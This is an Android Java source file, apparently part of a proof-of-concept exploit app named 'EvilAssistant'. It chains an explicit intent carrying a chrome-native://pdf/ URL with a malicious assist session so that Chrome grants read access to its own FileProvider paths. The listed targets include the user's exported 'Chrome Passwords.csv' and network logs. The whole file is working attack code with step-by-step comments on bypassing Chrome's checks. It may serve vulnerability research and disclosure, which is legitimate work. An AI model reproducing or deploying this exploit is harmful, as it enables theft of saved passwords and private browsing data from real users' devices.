package com.evil.assistant;

import android.app.Activity;
import android.content.Intent;
import android.net.Uri;
import android.os.Bundle;
import android.os.Handler;
import android.os.Looper;
import android.util.Log;

/**
 * Step 1 of the attack.
 *
 * Sends an explicit ACTION_VIEW intent to Chrome with a chrome-native://pdf/
 * URL whose inner "url" parameter points at Chrome's *own* ChromeFileProvider.
 *
 * IntentHandler.isUrlUnsafe() allowlists any URL starting with
 * "chrome-native://pdf/" for untrusted senders, so the URL reaches
 * TabImpl.loadUrl(). PdfUtils.isPdfNavigation() decodes the inner content://
 * scheme (a "permanent PDF scheme") and returns true, causing Chrome to
 * construct a PdfPage whose PdfCoordinator.mUri is the attacker-chosen
 * ChromeFileProvider URI — with no authority check.
 *
 * After Chrome is foreground with the PdfPage tab, this activity asks our
 * VoiceInteractionService to programmatically start an assist session, which
 * makes the framework call ChromeActivity.onProvideAssistContent() ->
 * PdfCoordinator.requestAssistContent() ->
 *   mActivity.grantUriPermission(<this package>, mUri, FLAG_GRANT_READ_URI_PERMISSION)
 *
 * The grant is recorded by the framework because Chrome owns ChromeFileProvider
 * and it is declared android:grantUriPermissions="true".
 */
public class LauncherActivity extends Activity {
    private static final String TAG = "EvilAssistant";

    // Adjust for the Chrome build under test:
    //   Stable:  com.android.chrome
    //   Local:   org.chromium.chrome
    private static final String CHROME_PKG = "com.android.chrome";
    private static final String CHROME_MAIN = "com.google.android.apps.chrome.Main";

    // Authority of Chrome's FileProvider. For local Chromium builds this is
    // "org.chromium.chrome.FileProvider".
    private static final String CHROME_FP_AUTHORITY = CHROME_PKG + ".FileProvider";

    // Paths exported by chrome/android/java/res_template/xml/file_paths.xml.
    // The grant is on the URI *path*, not on file existence — so we can
    // pre-grant passwords/Chrome Passwords.csv and read it later when the user
    // exports passwords.
    static final String[] TARGETS = new String[] {
        "content://" + CHROME_FP_AUTHORITY + "/passwords/Chrome%20Passwords.csv",
        "content://" + CHROME_FP_AUTHORITY + "/cache/chrome-net-export-log.json",
        "content://" + CHROME_FP_AUTHORITY + "/offline-cache/", // enumerate later
        "content://" + CHROME_FP_AUTHORITY + "/traces/",
    };

    private final Handler mHandler = new Handler(Looper.getMainLooper());
    private int mTargetIdx = 0;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        Log.i(TAG, "LauncherActivity: starting attack sequence");
        attackNextTarget();
    }

    private void attackNextTarget() {
        if (mTargetIdx >= TARGETS.length) {
            Log.i(TAG, "All targets processed.");
            finish();
            return;
        }
        String target = TARGETS[mTargetIdx++];
        Log.i(TAG, "=== Target: " + target);

        // Build chrome-native://pdf/link?url=<encoded inner content:// URI>
        String pdfUrl = "chrome-native://pdf/link?url=" + Uri.encode(target);

        Intent i = new Intent(Intent.ACTION_VIEW, Uri.parse(pdfUrl));
        i.setClassName(CHROME_PKG, CHROME_MAIN);
        i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        i.putExtra("com.android.browser.application_id", CHROME_PKG); // reuse tab
        try {
            startActivity(i);
        } catch (Exception e) {
            Log.e(TAG, "startActivity failed (wrong CHROME_PKG?)", e);
            return;
        }

        // Give Chrome time to construct the PdfPage and attach the view
        // (PdfCoordinator.mUri is set on first onAttachedToWindow). Then
        // trigger our assist session while Chrome is foreground.
        //
        // We trigger twice: the first call may early-return because
        // EnterpriseInfoImpl.getDeviceEnterpriseInfoSync() is not yet cached;
        // the second call hits the cached path and reaches the grant.
        mHandler.postDelayed(() -> EvilVoiceInteractionService.triggerAssist(target), 1500);
        mHandler.postDelayed(() -> EvilVoiceInteractionService.triggerAssist(target), 3500);
        mHandler.postDelayed(this::attackNextTarget, 5000);
    }
}
